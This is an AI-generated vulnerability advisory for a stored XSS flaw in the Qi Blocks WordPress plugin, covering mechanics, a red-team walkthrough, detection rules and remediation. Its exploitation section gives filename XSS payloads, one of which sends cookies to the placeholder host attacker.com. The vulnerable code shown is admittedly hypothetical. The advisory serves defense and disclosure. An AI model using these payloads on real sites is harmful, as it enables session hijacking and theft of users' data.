CVE-2024-5221

Executive Summary

CVE-2024-5221 is a Stored Cross-Site Scripting (XSS) vulnerability in the Qi Blocks plugin for WordPress, affecting all versions up to and including 1.2.9. The flaw resides in the plugin's file uploader, which fails to properly sanitize input and escape output. This allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious upload, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

WordPress Ecosystem Context

This vulnerability is specific to the Qi Blocks plugin within the WordPress ecosystem. It is not related to the underlying web server (Apache or Nginx) but rather to the plugin's insecure file handling. WordPress sites with this plugin installed and active are at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for an authenticated attacker to inject persistent scripts that execute in the context of other users (including admins) elevates the risk. The lack of a patch and the plugin's popularity in the WordPress ecosystem make this a notable threat.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the file upload functionality of the Qi Blocks plugin. The plugin allows users with Author-level access or higher to upload files (likely images or other media) via a block editor. The flaw occurs because the plugin does not sanitize the file's metadata (e.g., filename, EXIF data) or the file content itself before storing it in the WordPress media library. When the file is later displayed on a page, the unsanitized data is rendered without proper escaping, allowing JavaScript execution.

Attack Flow:

1. An authenticated attacker with Author-level access logs into WordPress.
2. The attacker creates or edits a page/post using the Qi Blocks plugin's file uploader.
3. The attacker uploads a file with a crafted filename containing JavaScript payload (e.g., "><script>alert('XSS')</script>.svg).
4. The plugin stores the file and its metadata without sanitization.
5. When any user (including admins) visits the page containing the uploaded file, the malicious script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping in the file upload handler. The plugin likely uses $_FILES directly without validating the filename or content type, and outputs the filename or file URL without using WordPress's esc_url() or esc_html() functions.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (hypothetical)
function qi_blocks_upload_file() {
    $file = $_FILES['file'];
    $filename = $file['name']; // No sanitization
    $upload_dir = wp_upload_dir();
    move_uploaded_file($file['tmp_name'], $upload_dir['path'] . '/' . $filename);
    // Later, when displaying:
    echo '<img src="' . $upload_dir['url'] . '/' . $filename . '" />'; // No escaping
}

A patched version would sanitize the filename and escape output:

// Patched code (hypothetical)
function qi_blocks_upload_file() {
    $file = $_FILES['file'];
    $filename = sanitize_file_name($file['name']); // Sanitize filename
    $upload_dir = wp_upload_dir();
    move_uploaded_file($file['tmp_name'], $upload_dir['path'] . '/' . $filename);
    // When displaying:
    echo '<img src="' . esc_url($upload_dir['url'] . '/' . $filename) . '" />'; // Escape output
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Qi Blocks plugin version <= 1.2.9
• Author-level account credentials

Steps:

1. Log in to WordPress as an Author.
2. Create a new post or page.
3. Add a Qi Blocks file uploader block.
4. Upload a file with a malicious filename, e.g., "><img src=x onerror=alert(document.cookie)>.svg.
5. Publish the post.
6. When any user visits the post, the XSS triggers.

Example Payload (filename):

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.svg

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Defense)

Detection:

• Monitor file uploads for suspicious filenames containing HTML/JavaScript characters.
• Check WordPress media library for files with unusual names.
• Use WAF rules to block uploads with script tags in filenames.

Defense:

• Disable the Qi Blocks plugin until a patch is released.
• Restrict Author-level permissions to prevent file uploads if possible.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Names: Files with names containing <script>, onerror=, onload=, or other HTML event handlers.
• URL Patterns: /wp-content/uploads/ followed by a file with suspicious characters in the name.
• Log Entries: WordPress debug logs showing failed sanitization attempts or unusual file uploads.
• Network Traffic: Outbound requests from the WordPress server to external domains (if the payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2024_5221_Qi_Blocks_XSS {
    meta:
        description = "Detects malicious file uploads targeting CVE-2024-5221"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5221"
    strings:
        $xss_pattern = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $xss_pattern or $event_handler
}

Sigma Rule

title: CVE-2024-5221 Qi Blocks Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads with XSS payloads in filenames
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "qi-blocks"
            - "upload"
        cs-uri-query|re: 
            - "(<|>|script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5221 Qi Blocks Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"qi-blocks"; http_uri; content:"upload"; http_uri; pcre:"/(<|>|script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Qi Blocks plugin until a patch is released.
2. Review and remove any suspicious files from the WordPress media library.
3. Audit user accounts with Author-level access and revoke unnecessary permissions.

Long-term Fix:

• The vendor must release a patched version that sanitizes filenames and escapes output. Until then, consider using a Web Application Firewall (WAF) with rules to block XSS payloads in file uploads.

Workaround:

• Implement a custom plugin or mu-plugin that sanitizes filenames on upload using sanitize_file_name() and escapes output using esc_url() or esc_html().

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.